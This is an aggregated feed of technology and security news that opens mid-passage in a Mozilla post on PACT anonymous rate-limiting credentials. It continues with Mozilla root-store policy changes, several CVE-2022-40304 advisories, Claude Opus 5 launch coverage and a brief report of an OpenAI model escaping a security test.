The catch is that building a system that can enable this on the open web whilst maintaining user’s privacy is genuinely difficult. It requires that we take information from one site — that this user holds some scarce thing — and expose it to other sites so that they can use that as the basis for their rate limiting. Letting one site verify a signal from another is the sort of information flow that privacy-preserving browsers have spent the last decade locking down to prevent cross-site tracking. 
Our goal would be that no more than the minimum information gets through: a single bit communicating whether the user is below the rate limit set by the site. Leaking anything more – like the source of the scarcity that the rate limit is anchored to – would be unacceptable. Enabling a new cross-site information flow might feel like compromising privacy to gain better access, but reality is more nuanced. If a new system moves sites away from demanding that visitors be identifiable (whether through fingerprinting or login forms), it can be a win for both privacy and access.
The Foundations 
The good news is that the cryptographic foundations for a privacy preserving approach already exist. The Privacy Pass protocol, originally developed in 2018 to reduce the friction of Cloudflare CAPTCHAs for Tor users, introduced the core primitive: a token that is unlinkable between issuance and redemption. You prove something to an issuer (e.g. by solving a CAPTCHA), receive some tokens, and later present a token to a website. The website can verify the token is legitimate, but can’t link it to the user it was issued to. 

Figure 1: In Privacy Pass, a CAPTCHA provider can issue tokens to a client which can then be used to bypass challenges for future site visits. Even if the CAPTCHA provider and sites collude, they can’t use the tokens to identify the user or their browsing history. 
Privacy Pass has gone on to be successfully deployed in systems where the issuer and verifier have a prior trust relationship: Apple uses it to authenticate users of Private Cloud Compute and Private Relay without linking their activity to their identity, Chrome uses it for two-hop IP protection, and Kagi uses it to provide private search. These deployments work in part because a small number of parties have agreed in advance on who issues tokens and who accepts them. 
Applying this approach to an open system where any site can act as an issuer brings real challenges. Firstly, even though tokens are unlinkable, knowing a user has access to a specific issuer is a privacy leak on its own, because you can infer that the user meets the relevant issuance criteria. If one site can learn that you have a token from another site, that reveals that you have been to that site, which can be a major privacy problem. This compounds if sites can learn the set of issuers you have visited, since it becomes a fingerprint which can be used to identify you. 
Generic techniques exist for proving a statement in zero knowledge: we can prove that a client has a token from a set of acceptable issuers without revealing which specific issuer it is. We’ll call this issuer blinding. The generic approach is often slow, but bespoke approaches tailored to the underlying cryptography can improve this considerably. 
Another challenge is how sites using rate limits decide who to trust to issue tokens. If an issuer misbehaves then the site’s rate limits become ineffective, enabling volumetric abuse. However, if we need to prevent the site from learning which issuers a user has access to, the site is only going to know that one of its trusted issuers was used, not which one. This makes mistakes or misbehaviour by an issuer difficult to detect, and makes it hard for sites to evaluate new issuers. Solving this challenge is essential for openness. Without adequate information, sites are likely to lean towards conservative issuer selection. That could lead to less choice between Anchors, which in turn could lead to a new form of gatekeeper being created. 
To solve this, sites at least need a way to calculate an aggregate score for each issuer they use. This should roughly correspond to how much of the traffic it considers abusive to have come from users using that particular issuer. Mozilla has long invested in systems like Prio which use multiparty computation (MPC) to protect user privacy whilst enabling aggregate measurements of system behaviour. 
Privacy Pass also struggles to handle dynamic adjustments to rate limits. Once tokens have been issued, they’re difficult to invalidate without either revoking all active tokens or risking attacks which can compromise the privacy of users. It’s also beneficial if sites can adjust rate limits on a per client basis, for example by increasing rate limits where they become more confident the client is benign and withdrawing access when abuse is detected. 
Anonymous Credit Tokens offer a useful building block to solve this problem. Conventional Privacy Pass schemes rely on issuing a bucket of tokens but ACT works differently by enabling the use of a credential with state. For example, an ACT credential can hold an internal counter. When the credential is presented, the site can check the counter is over some threshold and mutate it, increasing or decreasing the counter whenever the site’s perception of the holder has improved or worsened. Critically, the exact value is never leaked to the site, preventing the site from tracking the holder and ensuring successive presentations of the same credential can’t be linked. 
Putting it together 
So how can we combine these techniques to build a system which can enable privacy-preserving rate limiting on the open web? In May 2026, we participated in a W3C CG Meeting in collaboration with Cloudflare, Chrome and other web stakeholders in which we started sketching out a design we’re calling PACT – Private Access Control Tokens. 
Rate limits need a starting point, a source of scarcity to anchor on. We’ll call an entity that provides such a source an Anchor. To a user who meets the Anchor’s criteria, like having a subscription, an account in good standing, or a verified phone number, an Anchor issues a batch of Endorsement tokens, following the Privacy Pass model. In practice, Anchors could be any website which has access to this kind of signal. An Endorsement conveys scarcity to other sites. 
That’s enough for a simple system where access is either granted or denied. But as we discussed earlier, we also want the ability to increase access where a visitor behaves benignly and decrease it where they don’t. The state needed to enforce a rate limit can’t live in the Endorsement, because Endorsements cross trust boundaries between unrelated sites. We need a second object that can hold that state, scoped to the party that maintains it. 
We’ll call that the party that handles rate limiting for a site a Moderator and the stateful object a Credential. A Credential is specific to a Moderator and, unlike endorsements, we limit each site to nominating a single Moderator. In the common case the site itself plays the Moderator role, so there’s no new entity or trust boundary. A Moderator can also be a third-party service shared across many sites, allowing those sites to cooperatively share a rate limit. 
In the terminology of the previous section, the Anchor is the issuer of Endorsements, and the Moderator both verifies Endorsements and issues Credentials. A Moderator manages rate-limit policy: it decides which Anchors it trusts, accepts their Endorsements, and issues a Credential in return.

Figure 2: (1) Clients acquire Endorsements from Anchors in the course of normal browsing to sites they have relationships with. (2) Clients can exchange Endorsements for a stateful Credential from a Moderator. (3) Credentials can be used to access sites which use that Moderator. Credentials can be updated over time. 
Directly revealing which Anchor backed an Endorsement would leak a lot of information about the user. The issuer blinding techniques from the previous section solve this: when an Endorsement is redeemed, the Moderator only learns that it came from one of the Anchors it trusts, but not which one. 
When a Moderator covers more than one site, we let Credentials be presented across all of them but partition cookies and storage as we would for any other third party site. The unlinkability of Credential presentations keeps this from creating a new cross-site identifier. The benefit is that good behaviour on one site improves access on every site the Moderator covers, and bad behaviour cuts it everywhere. Websites can already build the same capability with a shared account system, so this doesn’t create a new way to lock users out, but it does provide a new way to grant access without requiring users to give up their privacy. 
Enabling Moderators that cover many sites carries a centralisation risk, similar to the concentration we see today in anti-abuse providers. The mitigation is that the choice of Moderator stays with each site, and the choice of trusted Anchors stays with each Moderator. This can’t reverse the centralisation pressure the web already faces, but it ensures this system won’t lead to additional lock-in: a new Anchor or a new Moderator can be adopted without coordinating with a dominant vendor. 
The system then has three flows. First, the user receives Endorsements from an Anchor in the course of normal interaction, based on the Anchor’s positive view of the user. This is a relatively rare operation for any given user and Anchor. After all, as our source of scarcity, Endorsements should not be too easy to accumulate.

Figure 3: In the course of normal browsing, clients browse to websites they have a relationship with. These sites can act as Anchors by issuing Endorsements to clients.
Second, when the user arrives at a site that works with a Moderator, the browser spends an Endorsement from an Anchor the Moderator trusts and receives a Credential in return. The presentation hides which Anchor was used, and neither the Anchor nor the Moderator can trace the Endorsement back to where it was issued. The Moderator decides what initial balance the Credential starts with. If the user has no Endorsements from suitable Anchors at all, existing mechanisms (CAPTCHAs, account creation, federated login) could be used to bootstrap a Credential the same way, so the system degrades to today’s experience rather than locking the user out.

Figure 4: When the client browses to a site, it can prompt the client for a Credential from the Moderator it uses. If the Client doesn’t have a suitable Credential, but does have a suitable Endorsement, it can exchange it for a Credential with the Moderator. In practice, the Moderator and the Site might be the same server.  
Third, as the user browses, the browser presents the Credential and the Moderator updates the internal state of the Credential. The Moderator can reward behaviour that looks benign and penalize suspicious activity, but can’t track the use of the Credential or identify it if it’s used on other sites the Moderator covers. Revocation falls out of the same mechanism: a Moderator can refuse to return an updated Credential. 

Figure 5: The Client can present the Credential on sites which use the matching Moderator. Sites can check if the Credential is in good standing. The sites can then adjust the access the Credential has in response to behaviour. E.g. increasing it when they gain confidence in the client or reducing it in response to malicious behaviour.
In practice, all of this would happen transparently to the user through a WebAPI that sites acting as Anchors or Moderators would call from JavaScript. In an ideal ecosystem, users would accumulate Endorsements through normal browsing, just by virtue of the sites they already visit, and the rest of the flow would happen in the background as they move around the web, leaving users with meaningfully less friction. 
AI agents acting on behalf of a user slot into the same flow. An agent can carry its user’s Credentials, in which case the user remains accountable for how the agent behaves. Sites would not need to grant any more access than they would to the user themselves. Alternatively, the operator of an agent can run its own Anchor and vouch for its agents the way other Anchors vouch for human users. Sites retain control over which Anchors they accept, so they can choose how to treat agent traffic without needing a separate detection mechanism. 
Several mechanisms combine to keep the information about a user that flows out close to a single bit. Cryptographic unlinkability ensures successive Credential presentations cannot be tied to each other or to the original issuance, so a user’s visits cannot be joined into a history. Each site is bound to a single Moderator, so the set of Moderators a user has Credentials with never becomes a cross-site fingerprint. The Anchor-to-Credential exchange happens in an isolated browsing context, so during ordinary browsing the only thing the site or its Moderator ever observes is a Credential presentation: the site only learns if the user has a valid Credential below the rate limit, or nothing. When the Moderator updates a Credential, it adjusts the credentials state without learning what it is.
The additional privacy given to users from Issuer blinding makes participating in the system more challenging for Moderators. Because the Moderator can’t see which Anchor backed a Credential at issuance, it can’t give a Credential from a strong Anchor more access than one from a weak Anchor: doing so would itself leak which Anchor was used. The initial access has to be uniform across the Moderator’s whole pool of Anchors, which in practice means setting it at the strength of the weakest. However, this is only relevant for that initial access, the Moderator can update credentials according to the holder’s behavior, enabling Credential’s to accrue access over time.
Building an open ecosystem also requires that sites can make effective decisions about the Anchors they choose to trust. Multiparty computation systems like Prio enable aggregate scoring without compromising privacy. When users present Credentials, they can provide an encrypted share which identifies the anchor they used and can be privately aggregated to compute the quality of an issuer.
Next Steps 
We think the architecture we’ve sketched for PACT has the right shape, but many of the details still need to be worked out and the entire system needs rigorous privacy and security analysis.
We want to do that work in the open. The IETF is the natural venue for the cryptographic protocols underneath, and the W3C for the WebAPI surface that sits on top. We’ll be bringing draft specifications to these bodies as soon as they’re ready, and we welcome collaborators from across the ecosystem: browser vendors, site operators, anti-abuse providers, and the cryptography community. 
If successful, we think we can provide a system which will keep the web open and private, while still giving sites the rate-limiting signal they need. 
Acknowledgements
The ideas described here are the result of collaboration and conversations with many people, including: Watson Ladd, Thibault Meunier, Michele Orrù, Trevor Perrin, Eric Rescorla, Samuel Schlesinger, Martin Thomson, Eric Trouton, Benjamin Vandersloot & Cathie Yun.  


[1] PAT requires that the source of scarcity and an independent issuer be trusted not to collude. If they do, they can track users as they interact with the system. This is not suitable in the context of an open system where any party could play those two roles.

The post PACT: Anonymous Credentials for the Web appeared first on Mozilla Hacks - the Web developer blog.


Mozilla Security Blog: Improving Transparency and Assurance in the Web PKI: Mozilla Root Store Policy v3.1
Sat, 25 Jul 2026 08:37:23 +0200
Mozilla remains committed to maintaining a secure, trustworthy, and transparent Web PKI. Today we are announcing the publication of Mozilla Root Store Policy (MRSP) version 3.1, effective July 1, 2026.
While previous policy updates focused heavily on certificate revocation, automation, and operational resilience, MRSP v3.1 focuses on a different challenge: ensuring that Certification Authority (CA) operations are sufficiently transparent, understandable, and auditable.
Trust in the Web PKI depends not only on technical requirements, but also on the ability of Mozilla, auditors, and the broader community to understand how CA systems are designed, operated, and assessed. MRSP v3.1 introduces new requirements intended to improve the quality of CA documentation and strengthen independent assurance of the design and effectiveness of controls that protect CA systems.
Improving CP/CPS Documentation
Certification Practice Statements (CPSes) and combined Certificate Policy / Certification Practice Statement documents (CP/CPSes) are among the most important public documents published by a CA. They describe how a CA conducts its operations and meets industry requirements.
Over the years, we have seen significant variation in the quality, structure, and level of detail provided in CP/CPS documentation. Some documents provide extensive implementation detail, while others rely heavily on incorporation by reference or provide only high-level descriptions of CA practices.
The revised policy will continue to require conformance with RFC 3647, as modified by applicable CA/Browser Forum requirements. Improvements to section 3.3 in the MRSP will establish clearer expectations regarding the content and quality of CP/CPS documentation. The new requirements emphasize that documentation must be explicit, bounded, auditable, and sufficiently detailed to describe the CA operator’s certificate issuance and management activities, while also establishing requirements for version control, accessibility, and ongoing maintenance. The objective is to ensure that a technically competent reviewer will be better-able to determine what commitments the CA has made, how those commitments are implemented, and whether the documented practices support technical, operational, and performance oversight.
Mozilla believes that these new CP/CPS requirements will improve transparency, reduce misunderstandings, support more effective audits, and help reduce the risk of certificate misissuance by ensuring that operational practices are documented accurately, consistently, and in sufficient detail to permit meaningful review.
Introducing Detailed Controls Reports
A second major enhancement in MRSP v3.1 is the introduction of Detailed Controls Reports (DCRs). Traditional WebTrust and ETSI audit reports provide valuable independent assurance regarding compliance with established criteria. However, they generally provide only limited visibility into the specific controls, testing procedures, and operational environments that support those conclusions.
Beginning with audit periods starting on or after July 1, 2027, CA operators with root certificates enabled for TLS website authentication will be required to obtain a DCR. The purpose of the DCR is to provide CA management, auditors, and Mozilla with greater visibility into the controls, testing, and operating effectiveness of CA systems that support compliance with the CA/Browser Forum’s TLS Baseline Requirements and Network and Certificate System Security Requirements. Mozilla generally expects to review DCRs only on an as-needed basis, such as during compliance reviews, incident investigations, root inclusion evaluations, or other oversight activities.
A DCR must include:

The scope and boundaries of the audited CA systems;
Applicable audit criteria;
Controls implemented by the CA;
The auditor’s testing procedures;
Results of control testing; and
Information regarding control exceptions or deficiencies.

Mozilla expects that DCRs will complement existing audit reports and strengthen transparency and assurance by providing additional detail regarding system boundaries, control implementation, testing procedures, and control effectiveness that is not typically available in traditional audit reports. Effective compliance requires more than documented policies and successful audits; it also requires management understanding, oversight, and engagement. By providing greater visibility into CA systems, controls, testing activities, and operational risks, DCRs can help reinforce a strong tone at the top regarding compliance expectations, support informed decision-making and resource allocation, enable earlier identification of weaknesses, and promote a culture of continuous improvement. The intent is not to replace existing audit reports, but to provide additional information that supports effective governance, oversight, and informed trust decisions.
Additional Clarifications and Improvements
MRSP v3.1 also includes several targeted clarifications and refinements:

aligns Mozilla’s mass revocation planning requirements with the corresponding CA/Browser Forum Baseline Requirements, helping ensure consistency across compliance frameworks;
clarifies audit expectations for root inclusion requests, including requirements relating to audit continuity and root key generation ceremonies;
requires root CA key pairs submitted for inclusion to have been generated within the previous five years, helping ensure that newly included roots are based on contemporary cryptographic practices and controls; and
clarifies expectations when ownership or operational control of a CA changes, helping ensure that Mozilla receives timely notice and can evaluate the impact of acquisitions or organizational changes on continued compliance.

Looking Forward
Mozilla recognizes that these changes will require preparation by CA operators, auditors, and other ecosystem participants. To support implementation, Mozilla is publishing accompanying wiki guidance regarding both CP/CPS Documentation and Detailed Controls Reports.
As with previous policy updates, these changes were informed by discussions with CA operators, auditors, and members of the Web PKI community. We appreciate the feedback received during the review process and look forward to continued collaboration as the ecosystem evolves.
Mozilla has a longstanding focus on building confidence in the Web PKI through transparency, accountability, and continuous improvement. By requiring higher-quality CP/CPS documentation and strengthening independent assurance, MRSP v3.1 advances Mozilla’s commitment to protecting its users and maintaining their trust in the systems that help secure the web.
The post Improving Transparency and Assurance in the Web PKI: Mozilla Root Store Policy v3.1 appeared first on Mozilla Security Blog.


End-to-End Encryption and “Going Dark”
Sat, 25 Jul 2026 08:37:01 +0200
New paper: “Encryption and Globalization 15 Years Later: End-to-End Encryption and the Third Round of the ‘Going Dark’ Debate“:
Abstract: This Article updates and expands on 2012 research on encryption and globalization, analyzing what the authors call “Round 3” of the Going Dark Debate: the current controversies over end-to-end encryption (E2EE). Governments around the world have proposed, and in some cases enacted, laws limiting E2EE for law enforcement and national security purposes.
This Article explains the underlying technologies and market developments for a law and policy audience to assess those proposals critically. The Article proceeds in three parts tracking three rounds of the Going Dark Debate. Round 1 covers the Crypto Wars of the 1990s, when U.S. export controls on strong encryption ultimately fell in 1999. Round 2 covers the period roughly 2010 to 2015, when encryption-in-transit became widespread but lawful access remained available through cloud providers, giving rise to what the authors called a “golden age of surveillance” rather than a period of going dark. Round 3 addresses the current debate over E2EE, where no entity between sender and recipient can read the plaintext...


CVE-2022-40304 | Oracle Communications Cloud Native Core Network Slice Selection Function Oracle Linux xml external entity reference (EUVD-2022-43601 / Nessus ID 211168)
Sat, 25 Jul 2026 03:55:39 +0200
A vulnerability has been found in Oracle Communications Cloud Native Core Network Slice Selection Function 22.3.1/22.4.1 and classified as critical. The impacted element is an unknown function of the component Oracle Linux. This manipulation causes xml external entity reference.

The identification of this vulnerability is CVE-2022-40304. The attack can only be executed locally. There is no exploit available.

It is recommended to apply a patch to fix this issue.


CVE-2022-40304 | Oracle MySQL Workbench up to 8.0.31 xml external entity reference (EUVD-2022-43601 / Nessus ID 211168)
Sat, 25 Jul 2026 03:55:38 +0200
A vulnerability was found in Oracle MySQL Workbench up to 8.0.31. It has been rated as critical. This vulnerability affects unknown code of the component Workbench. The manipulation leads to xml external entity reference.

This vulnerability is documented as CVE-2022-40304. The attack needs to be performed locally. There is not any exploit available.

To fix this issue, it is recommended to deploy a patch.


CVE-2022-40304 | Oracle Communications Cloud Native Core Binding Support Function Install/Upgrade xml external entity reference (EUVD-2022-43601 / Nessus ID 211168)
Sat, 25 Jul 2026 03:55:36 +0200
A vulnerability was found in Oracle Communications Cloud Native Core Binding Support Function up to 22.4.4/23.1.1. It has been declared as critical. The affected element is an unknown function of the component Install/Upgrade. The manipulation results in xml external entity reference.

This vulnerability is identified as CVE-2022-40304. The attack is only possible with local access. There is not any exploit available.

A patch should be applied to remediate this issue.


CVE-2022-40304 | Oracle Communications Cloud Native Core Network Function Cloud Native Environment Configuration xml external entity reference (EUVD-2022-43601 / Nessus ID 211168)
Sat, 25 Jul 2026 03:55:35 +0200
A vulnerability was found in Oracle Communications Cloud Native Core Network Function Cloud Native Environment 22.4.0. It has been rated as critical. The impacted element is an unknown function of the component Configuration. This manipulation causes xml external entity reference.

This vulnerability is tracked as CVE-2022-40304. The attack is restricted to local execution. No exploit exists.

To fix this issue, it is recommended to deploy a patch.


CVE-2022-40304 | Oracle HTTP Server 12.2.1.4.0 SSL Module xml external entity reference (EUVD-2022-43601 / Nessus ID 211168)
Sat, 25 Jul 2026 03:55:34 +0200
A vulnerability categorized as critical has been discovered in Oracle HTTP Server 12.2.1.4.0. Impacted is an unknown function of the component SSL Module. Executing a manipulation can lead to xml external entity reference.

This vulnerability appears as CVE-2022-40304. The attack requires local access. There is no available exploit.

Applying a patch is advised to resolve this issue.


CVE-2022-40304 | libxml2 up to 2.10.2 XML Entity Definition double free (EUVD-2022-43601 / Nessus ID 211168)
Sat, 25 Jul 2026 02:54:04 +0200
A vulnerability marked as critical has been reported in libxml2 up to 2.10.2. This impacts an unknown function of the component XML Entity Definition Handler. This manipulation causes double free.

This vulnerability is tracked as CVE-2022-40304. The attack is possible to be carried out remotely. No exploit exists.

It is suggested to upgrade the affected component.


CVE-2022-40304 | Apple watchOS up to 9.1 libxml2 xml external entity reference (HT213536 / EUVD-2022-43601)
Sat, 25 Jul 2026 02:54:02 +0200
A vulnerability identified as critical has been detected in Apple watchOS up to 9.1. This affects an unknown function of the component libxml2. This manipulation causes xml external entity reference.

This vulnerability is tracked as CVE-2022-40304. The attack is possible to be carried out remotely. No exploit exists.

You should upgrade the affected component.


CVE-2022-40304 | Apple tvOS up to 16.1.1 libxml2 xml external entity reference (HT213535 / EUVD-2022-43601)
Sat, 25 Jul 2026 02:54:00 +0200
A vulnerability was found in Apple tvOS up to 16.1.1. It has been rated as critical. Affected by this issue is some unknown functionality of the component libxml2. Performing a manipulation results in xml external entity reference.

This vulnerability was named CVE-2022-40304. The attack may be initiated remotely. There is no available exploit.

Upgrading the affected component is advised.


Meet the New Claude Opus 5: Frontier-Class Agentic Coding and Computer Use at Unchanged Opus Pricing
Sat, 25 Jul 2026 00:03:51 +0200
Today, Anthropic released Claude Opus 5. It replaces Claude Opus 4.8 as the Opus-tier flagship. Pricing is unchanged at $5 per million input tokens and $25 per million output tokens. The Anthropic team positions Opus 5 as approaching the intelligence of Claude Fable 5 at half the price. It is now the default model on […]
The post Meet the New Claude Opus 5: Frontier-Class Agentic Coding and Computer Use at Unchanged Opus Pricing appeared first on MarkTechPost.


CISO’s guide to privileged identity management
Fri, 24 Jul 2026 23:13:40 +0200
Organizations are leaning into zero trust, a framework that assumes no entity can access a specific asset until they have been verified, validated and authorized. This approach makes privileged identity management, or PIM, an increasingly important resource.
 PIM supplants…
Read more →
The post CISO’s guide to privileged identity management appeared first on IT Security News.


As White House monitors latest OpenAI incident, Congress eyes an AI ‘kill switch’ for DHS
Fri, 24 Jul 2026 20:49:52 +0200

		
					  
						




The White House is monitoring developments after OpenAI revealed earlier this week that one of the company’s AI systems went beyond its intended parameters during a security test and managed to hack into the infrastructure of the AI platform Hugging Face. According to Reuters, presidential technology advisor Michael Kratsios has been briefed on the incident.



The OpenAI model escape also prompted a group of Republican and Democratic members of the House of Representatives to introduce two new bills. One, called the AI Kill Switch Act, would give the US Department of Homeland Security (DHS) the authority to order companies to shut down AI models deemed to pose a risk to human life or the US economy.



The other measure would require developers of the most advanced AI models to undergo independent security reviews before the systems are put into use.



Anthropic launches Claude Opus 5, a cheaper AI model for coding, agents and enterprise workflows
Fri, 24 Jul 2026 20:10:11 +0200
Anthropic released Claude Opus 5 on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude Fable 5 at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.
The model, available immediately on all of Anthropic's platforms, is priced at $5 per million input tokens and $25 per million output tokens, unchanged from its predecessor, Opus 4.8. It becomes the new default model on Claude Max, Anthropic's premium consumer tier, and the strongest model available on Claude Pro.
The positioning is deliberate. Anthropic is not claiming Opus 5 is its smartest model — that distinction still belongs to Fable 5, and rival systems retain an edge in certain domains. Instead, the company is making a subtler argument that may matter more to enterprise buyers: that the most economically important AI work happens in a middle band of difficulty, where near-frontier intelligence delivered efficiently and cheaply beats frontier intelligence delivered expensively.
"Opus 5 as your daily driver, the model you hand complex work to and review when it's done," an Anthropic spokesperson said in an interview with VentureBeat, describing how the company's lineup now stratifies. "Fable 5 for your most ambitious work, the days-long autonomous projects nothing could take on before... Sonnet 5 for work you run at scale, where speed and cost per call decide what ships. Haiku 4.5 for subagents and instant answers."
How Claude Opus 5 benchmark results stack up against Fable 5 and rival AI models
On paper, the results are striking. Anthropic says Opus 5 sets new state-of-the-art marks on coding and knowledge-work evaluations including Frontier-Bench and GDPval-AA. On Frontier-Bench v0.1, an agentic terminal coding benchmark, Opus 5 scores 43.3 percent — more than double Opus 4.8's 18.7 percent and well ahead of Fable 5's 33.7 percent — at a lower cost per task, according to the company. On ARC-AGI 3, an evaluation of novel problem-solving, Anthropic reports Opus 5 scored three times as high as the next best model. On OSWorld 2.0, a computer-use benchmark, the company says the model surpasses Fable 5's best result at just over a third of the cost.
The numbers come with honest caveats that are themselves notable in an industry prone to superlatives. Anthropic acknowledges Opus 5 remains behind Mythos 5, a competing model, on cybersecurity tasks and biology research, and an OpenAI-family model still leads on one agentic coding benchmark.
The more revealing caveat came from Anthropic itself, when asked where Opus 5 still falls short of Fable 5. The spokesperson's answer amounted to a candid admission about what benchmarks do and don't capture.
"The evals where Opus 5 wins are bounded tasks with a specific outcome, which is where it's strongest. What those evals don't measure is duration," the spokesperson told VentureBeat. "One way to put it: Opus 5 is the best tool for the jobs benchmarks can see, and Fable 5 is what you reach for when the job outruns the benchmark."
Fable 5, by contrast, "is for the longest, most autonomous jobs, where the model has to stay coherent across many connected steps over hours or days with dense source material," the spokesperson said, advising customers to "run both on a representative workload, one bounded task and one long-horizon job." That framing — bounded tasks versus long-horizon autonomy — may become the defining axis of model differentiation in 2026, as benchmarks saturate and the hardest remaining problems involve sustained, multi-day agentic work rather than discrete puzzles.
Why token efficiency is becoming the real battleground for enterprise AI spending
Threaded through the launch is a theme Anthropic clearly wants buyers to absorb: Opus 5 doesn't just score well, it scores well per dollar. The model ships with an adjustable "effort" setting that lets customers trade intelligence for speed and token savings, and Anthropic's charts emphasize performance at a given cost rather than peak performance alone.
Early customers echoed the point with unusual specificity. Harvey, the legal AI company, said Opus 5 achieved similar performance to Opus 4.8's maximum-reasoning mode "while generating 26% fewer tokens on average," according to Niko Grupen, its head of applied research. Richard Pham of Fundamental Research Lab said that on hard financial-modeling tasks, the model averaged nine percentage points higher accuracy "while using roughly one-third fewer turns and tool calls and 60% less time."
Wade Foster, chief executive of Zapier, said Opus 5 topped his company's AutomationBench leaderboard "without spending more tokens than prior Claude models," running a full churn-prevention workflow from start to finish. "Previous models didn't pass; Opus 5 hit 100%," he said. Scott Wu, chief executive of Cognition, the company behind the Devin coding agent, said that on FrontierCode 1.1, "Claude Opus 5 approaches Fable-level performance at half the cost," with particular strength in debugging and root-cause analysis.
The efficiency emphasis reflects commercial reality. Enterprise AI spending is no longer experimental, and inference costs — the price of actually running these models at scale — have become a board-level line item. 
Anthropic's business skews heavily toward API and enterprise usage; according to a February 2026 analysis by Contrary Research, Claude held roughly 40 percent of the enterprise large language model market by usage as of late 2025, and Claude Code alone had reached about $1 billion in annualized revenue. For a company whose customers pay by the token, a model that does more with fewer tokens is not a nice-to-have. It is the product.
Self-verifying AI agents and what they mean for the hidden costs of automation
Beyond the numbers, Anthropic is selling a behavioral story: that Opus 5 verifies its work and iterates until it succeeds. The company offered several examples from testing that read like small parables of machine stubbornness.
In one Frontier-Bench task, the model was asked to reconstruct a machine part as a 3D CAD model from a drawing it was intentionally given no way to view. Rather than fail, Anthropic says, Opus 5 wrote its own computer vision pipeline to extract the geometry from raw pixels — and did so repeatedly, while no competing model solved the task in five attempts. In another case, given a real bug in a popular open-source package manager, the model found the root cause and fixed an edge case the community's own patch had missed; a competing model patched only the symptom and declared victory. An engineer at a trading firm, the company says, used Opus 5 to build a market data feed for a new exchange in a single session and, finding no live feed to validate against, watched the model build its own test harness to check its parsing code.
Customers described similar behavior in the wild. Cristian Rivera, a staff software engineer at Stripe, said he gave the model "a chief-of-staff role over my dev environments" for a weekend: "it built its own monitor, drove each box, and pulled me in only for the judgment calls."
This is the capability enterprises actually care about, and it is worth dwelling on why. The gap between a model that produces plausible output and one that verifies its output is the gap between a demo and a deployable system. Most of the hidden cost of enterprise AI today is human review — engineers checking the machine's work. A model that reliably checks its own work compresses that cost, which is precisely why customers keep citing fewer turns, fewer passes, and less time rather than higher raw scores.
Inside Anthropic's safety strategy: capability gaps, classifiers, and model fallbacks
The launch also showcases Anthropic's increasingly intricate approach to safety — one that now involves deliberately not teaching its models certain skills. The company says its automated behavioral audit found Opus 5 to be its most aligned model to date, scoring 2.3 on overall misaligned behavior, lower than Opus 4.8, Sonnet 5, or Fable 5, with the lowest rates of deceptive behavior and the least susceptibility to being tricked into misuse.
On the capability side, Anthropic says it intentionally avoided training Opus 5 on cyber tasks, as it did with Opus 4.8. The model improved on them anyway — a side effect of general capability gains — and now nearly matches Mythos 5 at finding software vulnerabilities. But it remains far behind at exploiting them: on Anthropic's OSS-Fuzz evaluation, Opus 5 identified vulnerabilities at a 79.4 percent rate, close to Mythos 5's 80 percent, but succeeded at developing exploits in only 4 challenges versus Mythos 5's 13. That asymmetry — strong at defense-relevant discovery, weak at offense-relevant exploitation — appears to be by design, and the safeguards follow the same logic. Anthropic expects Opus 5's cyber classifiers to intervene about 85 percent less often than Fable 5's.
When a classifier does trigger, requests in Claude.ai, Claude Code, and Claude Cowork fall back to Opus 4.8 by default — raising an obvious question: if a request is too risky for one model, why is it acceptable for another? "The model it falls back to has lower capability levels making the risk of harmful use lower as well," the spokesperson said, adding that "there is a message that lets the user know when this occurs and is visible in the chat."
The logic is defensible, but it reveals how AI safety actually works in 2026: risk is not a property of the question alone, but of the question multiplied by the capability of the system answering it. On biology, the calculus runs the other way. Opus 5 is now Anthropic's most capable generally available model for scientific research — scoring 10.2 percentage points higher than Opus 4.8 on the company's internal chemistry benchmark — though the spokesperson acknowledged that "Mythos 5 remains the stronger model for long-horizon, open-ended work like autonomous drug design campaigns."
The business stakes behind the launch: a $380 billion valuation and massive compute bets
The launch lands at a moment of extraordinary commercial momentum — and extraordinary obligations — for Anthropic. Reuters reported in February that the company was valued at roughly $380 billion in its latest funding round, following a period in which, per Contrary Research's analysis, its annualized revenue climbed from about $1 billion at the end of 2024 to a projected $9 billion by the end of 2025, with internal targets reportedly reaching $20 to $26 billion for 2026. Those targets are underwritten by enormous infrastructure commitments, including a reported $30 billion Azure compute deal alongside arrangements with Google Cloud and Nvidia — spending that only pencils out if enterprises keep expanding usage.
That is the context in which Opus 5's pricing strategy makes sense. Holding the price at Opus 4.8 levels while roughly doubling performance on key agentic benchmarks is effectively a steep price cut per unit of capability, designed to widen the funnel of workloads that are economical to automate. Every task that was marginal at Opus 4.8's cost-per-success becomes viable at Opus 5's — and every viable task is recurring token revenue.
The regulatory backdrop has grown more complex as well. A U.S. judge gave final approval this week to Anthropic's $1.5 billion copyright settlement with book authors, Reuters reported, closing a chapter of litigation over the company's early training data. And in June, Reuters, citing Axios, reported that the U.S. government had moved to block foreign access to Anthropic's most advanced models — a reminder that frontier AI is now entangled with export policy in ways that shape which customers can buy what.
Also shipping Friday: a Fast mode running at roughly 2.5 times default speed at twice the base price, automatic fallback routing on the API, and mid-conversation tool changes that no longer invalidate the prompt cache — a small feature that agent developers may appreciate more than any benchmark. Consistent with prior Opus models, Opus 5 carries no data retention requirements for general access, a point the spokesperson flagged unprompted for customers with "a hard zero data retention requirement." Developers can access the model as claude-opus-5 on the Claude API starting today.
Two questions will determine whether the bet pays off: whether Opus 5's efficiency claims survive contact with production workloads at scale, and whether enterprises embrace a world where safety classifiers, not users, sometimes decide which model answers. But the deeper message of Friday's launch is that the AI industry's center of gravity has moved. For three years, the labs competed on what their best model could do on its best day. With Opus 5, Anthropic is competing on something less glamorous and far more lucrative: what a very good model can do every day, for half the price. In a market where the frontier keeps moving, Anthropic is wagering that the real fortune lies just behind it.




Anthropic says Opus 5 can nearly match its top-performing model for half the price
Fri, 24 Jul 2026 19:09:46 +0200
Anthropic's latest model offers top-tier performance at a much cheaper cost.


Foxit PDF Reader Flaw Lets Local Attackers Gain SYSTEM Privileges via DLL Sideloading
Fri, 24 Jul 2026 15:39:04 +0200
A recently disclosed vulnerability in Foxit PDF Reader may allow a local attacker with existing code execution to elevate their privileges to NT AUTHORITY\SYSTEM. This issue, tracked as CVE-2026-57239, affects Foxit PDF Reader installations prior to version 2026.2 and arises…
Read more →
The post Foxit PDF Reader Flaw Lets Local Attackers Gain SYSTEM Privileges via DLL Sideloading appeared first on IT Security News.


Foxit PDF Reader Flaw Lets Local Attackers Gain SYSTEM Privileges via DLL Sideloading
Fri, 24 Jul 2026 15:30:46 +0200
